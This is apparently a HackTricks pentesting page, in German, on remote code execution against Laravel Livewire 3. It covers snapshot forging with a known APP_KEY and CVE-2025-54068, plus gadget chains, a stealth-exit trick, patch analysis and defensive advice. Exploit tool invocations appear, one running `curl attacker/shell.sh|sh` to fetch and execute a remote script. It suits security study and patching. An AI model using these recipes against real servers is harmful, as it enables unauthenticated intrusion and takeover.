Laravel Livewire Hydration & Synthesizer Abuse
Tip
Lerne & übe AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Durchsuche den vollständigen HackTricks Training-Katalog nach den Assessment-Tracks (ARTA/GRTA/AzRTA) und Linux Hacking Expert (LHE).
Support HackTricks
- Sieh dir die subscription plans an!
- Tritt der 💬 Discord group, der telegram group bei, folge @hacktricks_live auf X/Twitter, oder schau dir die LinkedIn page und den YouTube channel an.
- Teile hacking tricks, indem du PRs in die HackTricks und HackTricks Cloud github repos einreichst.
Recap of the Livewire state machine
Livewire 3-Komponenten tauschen ihren Zustand über snapshots aus, die data, memo und eine Prüfsumme enthalten. Jeder POST an /livewire/update rehydriert den JSON-snapshot serverseitig und führt die in der Warteschlange befindlichen calls/updates aus.
class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}
static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}
Jeder, der APP_KEY hält (verwendet, um $hashKey abzuleiten), kann daher beliebige Snapshots fälschen, indem er den HMAC neu berechnet.
Komplexe Properties werden als synthetic tuples codiert, die von Livewire\Drawer\BaseUtils::isSyntheticTuple() erkannt werden; jedes Tuple ist [value, {"s":"<key>", ...meta}]. Der Hydration-Core delegiert jedes Tuple einfach an den in HandleComponents::$propertySynthesizers ausgewählten synth und rekursiv über die Kinder:
protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}
Dieses rekursive Design macht Livewire zu einer generic object-instantiation engine, sobald ein Angreifer entweder die Tupel-Metadaten oder irgendein verschachteltes Tupel kontrolliert, das während der Rekursion verarbeitet wird.
Synthesizers, die gadget primitives gewähren
| Synthesizer | Vom Angreifer kontrollierbares Verhalten |
|---|---|
CollectionSynth (clctn) | Instanziiert new $meta['class']($value) nach dem Rehydrating jedes Kind-Elements. Jede Klasse mit einem array-Konstruktor kann erzeugt werden, und jedes Element kann selbst ein synthetic tuple sein. |
FormObjectSynth (form) | Ruft new $meta['class']($component, $path) auf und weist dann jede öffentliche property aus angreifer-kontrollierten children via $hydrateChild zu. Constructors, die zwei loosely typed Parameter akzeptieren (oder default args), reichen aus, um beliebige öffentliche properties zu erreichen. |
ModelSynth (mdl) | Wenn key in meta fehlt, führt es return new $class; aus und erlaubt damit die Zero-argument-Instanziierung jeder Klasse unter Angreiferkontrolle. |
Da synths auf jedem verschachtelten Element $hydrateChild aufrufen, können beliebige gadget graphs durch rekursives Stapeln von Tupeln gebaut werden.
Snapshots fälschen, wenn APP_KEY bekannt ist
- Erfasse eine legitime
/livewire/update-Request und dekodierecomponents[0].snapshot. - Injiziere verschachtelte Tupel, die auf gadget classes verweisen, und berechne
checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY)neu. - Re-encode den Snapshot, lasse
_token/memounverändert und replaye die Request.
Ein minimaler proof of execution nutzt Guzzle’s FnStream und Flysystem’s ShardedPrefixPublicUrlGenerator. Ein Tupel instanziiert FnStream mit Konstruktordaten { "__toString": "phpinfo" }, das nächste instanziiert ShardedPrefixPublicUrlGenerator mit [FnStreamInstance] als $prefixes. Wenn Flysystem jedes Prefix zu string castet, ruft PHP das vom Angreifer bereitgestellte __toString callable auf und führt so jede Funktion ohne Argumente aus.
Von function calls zu vollständigem RCE
Durch die Ausnutzung von Livewires Instanziierungs-Primitiven passte Synacktiv die Laravel/RCE4-Kette von phpggc an, sodass die Hydration ein Objekt bootet, dessen öffentlicher Queueable-State Deserialization auslöst:
- Queueable trait – jedes Objekt mit
Illuminate\Bus\Queueableexponiert öffentliches$chainedund führt indispatchNextJobInChain()unserialize(array_shift($this->chained))aus. - BroadcastEvent wrapper –
Illuminate\Broadcasting\BroadcastEvent(ShouldQueue) wird viaCollectionSynth/FormObjectSynthmit befülltem öffentlichem$chainedinstanziiert. - phpggc Laravel/RCE4Adapted – der in
$chained[0]gespeicherte serialized blob bautPendingBroadcast -> Validator -> SerializableClosure\Serializers\Signedauf.Signed::__invoke()ruft schließlichcall_user_func_array($closure, $args)auf und ermöglichtsystem($cmd). - Stealth termination – indem man ein zweites
FnStreamcallable wie[new Laravel\Prompts\Terminal(), 'exit']übergibt, endet die Request mitexit()statt mit einer lauten Exception, wodurch die HTTP-Response sauber bleibt.
Snapshots automatisieren
synacktiv/laravel-crypto-killer liefert jetzt einen livewire-Modus, der alles zusammensetzt:
./laravel_crypto_killer.py exploit -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"
Das Tool parst den erfassten Snapshot, injiziert die Gadget-Tuples, berechnet die Checksumme neu und gibt einen versandbereiten /livewire/update-Payload aus.
CVE-2025-54068 – RCE ohne APP_KEY
Laut der Vendor Advisory betrifft das Problem Livewire v3 (>= 3.0.0-beta.1 und <= 3.6.3) und ist nur in v3 vorhanden.
updates werden in den Component State nachdem die Snapshot-Checksumme validiert wurde gemerged. Wenn eine Property innerhalb des Snapshots ein synthetisches Tuple ist (oder wird), verwendet Livewire seine Meta erneut, während der attacker-controlled Update-Wert hydratisiert wird:
protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}
Exploit-Rezept:
- Finde eine Livewire-Komponente mit einer untypisierten public property (z. B.
public $count;). - Sende ein update, das diese Property auf
[]setzt. Der nächste snapshot speichert sie dann als[[], {"s": "arr"}].
Ein minimaler Type-Juggling-Flow sieht so aus:
POST /livewire/update
...
"updates": {"count": []}
Dann speichert der nächste snapshot ein Tuple, das die arr synthesizer metadata behält:
"count": [[], {"s": "arr"}]
- Baue ein weiteres
updates-Payload, bei dem diese Property ein tief verschachteltes Array enthält, das Tuples einbettet wie[ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ]. - Während der Rekursion wertet
hydrate()jedes verschachtelte Kind unabhängig aus, sodass vom Angreifer gewählte synth keys/classes akzeptiert werden, obwohl das äußere Tuple und der checksum sich nie geändert haben. - Wiederverwende dieselben
CollectionSynth/FormObjectSynth-Primitives, um ein Queueable gadget zu instanziieren, dessen$chained[0]den phpggc payload enthält. Livewire verarbeitet die gefälschten updates, ruftdispatchNextJobInChain()auf und erreichtsystem(<cmd>), ohneAPP_KEYzu kennen.
Wichtige Gründe, warum das funktioniert:
updatessind nicht durch den snapshot checksum abgedeckt.getMetaForPath()vertraut den synth metadata, die bereits für diese Property existierten, selbst wenn der Angreifer sie zuvor durch weak typing dazu gezwungen hat, ein Tuple zu werden.- Rekursion plus weak typing lässt jedes verschachtelte Array als ein brandneues Tuple interpretieren, sodass am Ende beliebige synth keys und beliebige classes die hydration erreichen.
Hochwertiges Pre-Auth-Target: Filament-Login-Forms
Anwendungen, die auf Livewire aufbauen, bieten oft eine noch einfachere Pre-Auth-Angriffsfläche als eine einfache public $count; Property. Zum Beispiel hydraten Filament-Login-Seiten häufig ein weakly typed $form object, das im snapshot bereits als form-Tuple serialisiert ist. Dadurch entfällt der Setup-Schritt „scalar -> array -> arr tuple“ komplett:
- Der snapshot enthält bereits etwas wie
{"form":[{...},{"s":"form","class":"App\\Livewire\\Forms\\LoginForm"}]}. - Ein Angreifer kann
updates.formdirekt mit verschachtelten bösartigen Tuples senden, weil die Rekursion später Kinder wie[payload, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"}]neu interpretiert. - Deshalb sind pre-auth Livewire-Entrypoints, die
FormObjectSynthobjects exponieren, besonders attraktiv: Sie bieten bereits sowohl Instanziierung als auch public-property assignment.
Patch-Analyse: raw metadata während der update-Rekursion beibehalten
Der Fix führt einen dedizierten hydratePropertyUpdate()-Pfad ein, sodass verschachtelte update-Werte nicht mehr generisch hydrate($child, ...) auf vom Angreifer kontrollierten Kindern aufrufen:
protected function hydratePropertyUpdate($valueOrTuple, $context, $path, $raw)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, function ($name, $child) use ($context, $path, $raw) {
return $this->hydrateForUpdate($raw, "{$path}.{$name}", $child, $context);
});
}
Security impact des Patch:
- Nested updates werden gegen den ursprünglichen raw snapshot path neu validiert, statt frische, vom Angreifer gelieferte tuple metadata zu vertrauen.
- Recursive hydration erlaubt es Kindern nicht mehr,
soderclassmitten im Ablauf neu zu definieren. - Das blockiert sowohl arbitrary synthesizer switching als auch arbitrary class selection innerhalb verschachtelter update arrays.
Livepyre – end-to-end exploitation
Livepyre automatisiert sowohl den APP_KEY-less CVE als auch den signed-snapshot path:
- Ermittelt die eingesetzte Livewire-Version durch Parsen von
<script src="/livewire/livewire.js?id=HASH">(oder?v=HASH) und Mapping des Hashs auf verwundbare Releases. - Sammelt baseline snapshots, indem harmlose Aktionen wiedergegeben und
components[].snapshotextrahiert werden. - Generiert entweder ein
updates-only payload (CVE-2025-54068) oder einen gefälschten snapshot (bekannter APP_KEY) mit der phpggc chain. - Wenn in einem snapshot kein Parameter mit object-Typ gefunden wird, fällt Livepyre auf Brute-Forcing von Kandidaten-Parametern zurück, um eine coercible property zu erreichen.
Typische Nutzung:
# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id
# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"
-c/--check führt einen nicht-destruktiven Probe-Check aus, -F überspringt das Version-Gating, -H und -P fügen benutzerdefinierte Header oder Proxies hinzu, und --function/--param passen die vom gadget chain aufgerufene php function an.
Defensive Überlegungen
- Upgrade auf gefixte Livewire-Builds (>= 3.6.4 gemäß dem Vendor-Bulletin) und das Vendor-Patch für CVE-2025-54068 deployen.
- Vermeide schwach typisierte öffentliche Properties in Livewire-Komponenten; explizite skalare Typen verhindern, dass Property-Werte in Arrays/Tuples coerced werden.
- Registriere nur die synthesizers, die du wirklich brauchst, und behandle benutzerkontrollierte Metadaten (
$meta['class']) als untrusted. - Lehne Updates ab, die den JSON-Typ einer Property ändern (z. B. scalar -> array), sofern das nicht explizit erlaubt ist, und leite synth metadata erneut ab, statt veraltete tuples wiederzuverwenden.
- Rotate
APP_KEYumgehend nach jeder disclosure, weil dadurch offline snapshot forging möglich wird, ganz egal, wie gepatcht die code-base ist.
References
- Synacktiv – Livewire: Remote Command Execution via Unmarshaling
- synacktiv/laravel-crypto-killer
- synacktiv/Livepyre
- GHSA-29cq-5w36-x7w3 – Livewire v3 RCE advisory
- livewire/livewire commit
ef04be7– Fix property update hydration
Tip
Lerne & übe AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Durchsuche den vollständigen HackTricks Training-Katalog nach den Assessment-Tracks (ARTA/GRTA/AzRTA) und Linux Hacking Expert (LHE).
Support HackTricks
- Sieh dir die subscription plans an!
- Tritt der 💬 Discord group, der telegram group bei, folge @hacktricks_live auf X/Twitter, oder schau dir die LinkedIn page und den YouTube channel an.
- Teile hacking tricks, indem du PRs in die HackTricks und HackTricks Cloud github repos einreichst.


